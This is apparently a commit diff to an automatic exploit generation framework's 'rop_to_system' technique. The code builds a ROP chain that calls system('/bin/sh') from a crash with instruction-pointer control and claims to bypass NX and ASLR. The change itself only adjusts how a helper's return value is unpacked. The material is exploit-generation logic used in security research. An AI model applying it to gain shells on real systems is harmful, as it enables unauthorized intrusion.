old_contents: import logging
  from rex import Vulnerability
  from angrop.errors import RopException
  from rex.exploit import Exploit, CannotExploit
  from ..technique import Technique
  
  l = logging.getLogger("rex.exploit.techniques.rop_to_system")
  
  class RopToSystem(Technique):
  
      name = "rop_to_system"
  
      applicable_to = ['unix']
  
      def apply(self, **kwargs):
  
          # can only exploit ip overwrites
          ct = self.crash.crash_type
          if ct != Vulnerability.IP_OVERWRITE and ct != Vulnerability.PARTIAL_IP_OVERWRITE:
              raise CannotExploit("[%s] cannot control ip" % self.name)
  
          # find the address of system
          system_addr = self._find_func_address("system")
          if system_addr is None:
              raise CannotExploit("[%s] the function system could not be found in the binary" % self.name)
  
          # write out "/bin/sh\x00"
          cmd_addr, cmd_constraint = self._write_global_data("/bin/sh\x00")
          if cmd_addr is None:
              try:
                  cmd_addr, cmd_constraint = self._read_in_global_data("/bin/sh\x00")
              except CannotExploit as e:
                  raise CannotExploit("[%s] cannot call read, %s" % (self.name, e.message))
              if cmd_addr is None:
                  raise CannotExploit("[%s] cannot write in /bin/sh" % self.name)
  
          # craft the caller chain
          try:
              chain = self.rop.func_call(system_addr, [cmd_addr])
          except RopException:
              raise CannotExploit("[%s] cannot craft caller chain" % self.name)
  
          # apply the constraint that /bin/sh must exist in the binary
          self.crash.state.add_constraints(cmd_constraint)
  
          # insert the chain into the binary
          try:
              _, chain_addr, _ = self._ip_overwrite_with_chain(chain, self.crash.state)
          except CannotExploit:
              raise CannotExploit("[%s] unable to insert chain" % self.name)
  
          # add the constraint to the state that the chain must exist at the address
          chain_mem = self.crash.state.memory.load(chain_addr, chain.payload_len)
          self.crash.state.add_constraints(chain_mem == self.crash.state.se.BVV(chain.payload_str()))
  
          if not self.crash.state.satisfiable():
              raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)
  
          return Exploit(self.crash, bypasses_nx=True, bypasses_aslr=True)
  
new_contents: import logging
  from rex import Vulnerability
  from angrop.errors import RopException
  from rex.exploit import Exploit, CannotExploit
  from ..technique import Technique
  
  l = logging.getLogger("rex.exploit.techniques.rop_to_system")
  
  class RopToSystem(Technique):
  
      name = "rop_to_system"
  
      applicable_to = ['unix']
  
      def apply(self, **kwargs):
  
          # can only exploit ip overwrites
          ct = self.crash.crash_type
          if ct != Vulnerability.IP_OVERWRITE and ct != Vulnerability.PARTIAL_IP_OVERWRITE:
              raise CannotExploit("[%s] cannot control ip" % self.name)
  
          # find the address of system
          system_addr = self._find_func_address("system")
          if system_addr is None:
              raise CannotExploit("[%s] the function system could not be found in the binary" % self.name)
  
          # write out "/bin/sh\x00"
          cmd_addr, cmd_constraint = self._write_global_data("/bin/sh\x00")
          if cmd_addr is None:
              try:
                  cmd_addr, cmd_constraint = self._read_in_global_data("/bin/sh\x00")
              except CannotExploit as e:
                  raise CannotExploit("[%s] cannot call read, %s" % (self.name, e.message))
              if cmd_addr is None:
                  raise CannotExploit("[%s] cannot write in /bin/sh" % self.name)
  
          # craft the caller chain
          try:
              chain = self.rop.func_call(system_addr, [cmd_addr])
          except RopException:
              raise CannotExploit("[%s] cannot craft caller chain" % self.name)
  
          # apply the constraint that /bin/sh must exist in the binary
          self.crash.state.add_constraints(cmd_constraint)
  
          # insert the chain into the binary
          try:
              chain, chain_addr = self._ip_overwrite_with_chain(chain, self.crash.state)
          except CannotExploit:
              raise CannotExploit("[%s] unable to insert chain" % self.name)
  
          # add the constraint to the state that the chain must exist at the address
          chain_mem = self.crash.state.memory.load(chain_addr, chain.payload_len)
          self.crash.state.add_constraints(chain_mem == self.crash.state.se.BVV(chain.payload_str()))
  
          if not self.crash.state.satisfiable():
              raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)
  
          return Exploit(self.crash, bypasses_nx=True, bypasses_aslr=True)
  
subject: Update usage of _ip_overwrite_with_chain in Linux rop_to_system technique